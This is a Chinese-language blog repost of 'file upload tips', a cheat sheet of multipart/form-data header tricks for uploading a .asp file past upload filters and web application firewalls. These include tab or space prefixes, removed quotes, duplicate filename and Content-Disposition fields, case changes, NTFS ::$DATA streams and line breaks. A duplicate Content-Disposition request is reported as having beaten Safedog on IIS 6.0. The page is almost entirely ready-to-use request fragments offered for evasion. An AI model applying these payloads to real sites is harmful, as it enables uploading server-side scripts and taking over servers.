zoukankan      html  css  js  c++  java
  • 文件上传tips

    文件上传tips

    文件名前缀加[0x09]绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: form-data; name=”filepath”; filename=”[0x09]test.asp”
    Content-Type: text/html
    
    
    文件名去掉双引号绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: form-data; name=”filepath”; filename=test.asp
    Content-Type: text/html
    
    
    添加一个filename1的文件名参数,并赋值绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: form-data; name=”filepath”; filename=”test.asp”;filename1=”test.jpg”
    Content-Type: text/html
    
    
    form变量改成f+orm组合绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: f+orm-data; name=”filepath”;filename=”test.asp”
    Content-Type: text/html
    
    
    文件名后缀大小写绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: form-data; name=”filepath”; filename=”test.Asp”
    Content-Type: text/html
    
    
    去掉form-data变量绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: name=”filepath”; filename=”test.asp”
    Content-Type: text/html
    
    
    在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: form-data                                 ; name=”filepath”; filename=”test.asp”
    Content-Type: text/html
    或
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition:                                                                                form-data ; name=”filepath”; filename=”baclion.asp”
    Content-Type: text/html
    
    
    test.asp . (空格+.)绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp .”
    Content-Type: text/html
    
    
    “回车换行,绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp
    ”
    Content-Type: text/html
    
    
    NTFS流 在文件名后加::$DATA绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp::$DATA”
    Content-Type: text/html
    或
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp::$DATAx00fuck.asp0x00.jpg”
    Content-Type: text/html
    
    
    经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传test.asp成功]:
    Content-Disposition: form-data; name=”FileUploadName”; filename=”test.asp”
     
    —————————–15377259221471
     
    Content-Disposition: form-data; name=”FileUploadName”; filename=”test.txt”
     
    Content-Type: application/octet-stream
     
    Content-Disposition: form-data; name=”FileUploadName”; filename=”test.asp”
    Content-Disposition: form-data;
    name=”FileUploadName”; filename=”test.asp”
    
    
    将Content-Type和ConTent-Disposition调换顺序位置绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Type: text/html
    ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp”
    
    
    在文件名前缀加空格(tab键可替换)绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: form-data; name=”filepath”; filename=    “test.asp”
    Content-Type: text/html
    
    
    在form-data加空格绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: form-data;      name=”uploaded”; filename=”test.asp”
    Content-Type: text/html
    
    
    在form-data的前后加上+绕过:
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: +form-data; name=”filepath”; filename=”test.asp”
    Content-Type: text/html
    或
    ——WebKitFormBoundary2smpsxFB3D0KbA7D
    Content-Disposition: form-data+; name=”filepath”; filename=”test.asp”
    Content-Type: text/html
    
    参考整理源于backlion
    https://www.cnblogs.com/test/p/7210954.html
    
  • 相关阅读:
    买不起笔记本,只好自己动手做一个啦!(转)
    Microsoft.Press.Microsoft.Visual.C.Sharp.2005.Step.by.Step.Oct.2005
    将指定网页添加到收藏夹的方法(c#)
    一个任意获得页面控件的方法
    取客户端MAC地址的方法
    关于在活动目录(ACTIVE DIRECTORY)中创建组织单位和用户
    无 Cookie 的 ASP.NET
    吉祥三宝(设计篇)
    C语言第一次实验报告
    C语言第二次实验作业
  • 原文地址:https://www.cnblogs.com/Yang34/p/14190661.html
Copyright © 2011-2022 走看看